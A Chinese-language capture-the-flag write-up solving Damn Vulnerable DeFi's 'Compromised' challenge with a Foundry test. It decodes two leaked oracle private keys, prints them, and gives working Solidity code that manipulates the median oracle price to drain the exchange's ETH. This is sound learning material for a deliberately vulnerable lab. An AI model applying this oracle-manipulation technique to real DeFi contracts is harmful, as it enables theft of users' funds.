damn-vulnerable-defi | Compromised

Challenge #7 - Compromised

为了系统的学习 solidity 和 foundry，我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解，欢迎交流和共建～🎉

合约

Exchange: 提供购买（mint）和售卖 (burn) DamnValuableNFT 的方法，对应的价格由预言机提供

TrustfulOracle: 可信价格预言机合约，维护着由几个可信的账号设定的 nft 价格，对外提供查询 nft 价格中位数的方法

TrustfulOracleInitializer：用于部署 TrustfulOracle 合约并初始化 nft 价格

测试

部署 TrustfulOracleInitializer 合约，顺带完成 TrustfulOracle 合约的部署，设置初始 nft 价格为 INITIAL_NFT_PRICE

部署 Exchange 合约，顺带完成 DamnValuableNFT 合约的部署，存入 EXCHANGE_INITIAL_ETH_BALANCE

执行攻击脚本

期望 Exchange 合约中的余额为 0，player 余额为 EXCHANGE_INITIAL_ETH_BALANCE，player 不拥有 nft，oracle 中的 nft 价格中位数为 INITIAL_NFT_PRICE

题解

通过阅读 Exchange 合约可以发现 buyOne 和 sellOne 所需要付的和收回的 eth 都是由 oracle 提供的，通过 oracle.getMedianPrice() 方法获得 nft 的价格

攻击的目标是获取 Exchange 合约中的全部 eth，则可以通过低买高卖 nft 的方式来赚取 EXCHANGE_INITIAL_ETH_BALANCE 数额的 eth，因此最终目标来到了操纵预言机，通过分析 oracle 的获取 nft 价格中位数的方法可以得知，只需要操纵过半的预言机就可以达到修改价格的目的

Copy
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = getAllPricesForSymbol(symbol);
LibSort.insertionSort(prices);
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}

题目中给了一段捕获到的 http 报文信息，合理推测这两段字符串就是对应其中两个预言机的私钥，将 16 进制数转成 ASCII 码，再通过 base64 解码，最终得到两个私钥

完整的流程图如下所示：

首先通过操纵预言机降低 nft 单价让 player 购买，再操纵预言机将 nft 价格提升让 player 卖出即完成攻击，代码如下：

Copy
function testExploit() public{
/*Code solution here*/
oracle1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9);
oracle2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48);

postPrice(0.0001 ether);

vm.startPrank(player);
uint256 id = exchange.buyOne{value: 0.0001 ether}();
vm.stopPrank();

uint256 exchangeBalance = address(exchange).balance;
postPrice(exchangeBalance);

vm.startPrank(player);
nftToken.approve(address(exchange), id);
exchange.sellOne(id);
vm.stopPrank();

postPrice(INITIAL_NFT_PRICE);

validation();
}

function postPrice(uint256 price) public{
vm.startPrank(oracle1);
oracle.postPrice('DVNFT', price);
vm.stopPrank();
vm.startPrank(oracle2);
oracle.postPrice('DVNFT', price);
vm.stopPrank();
}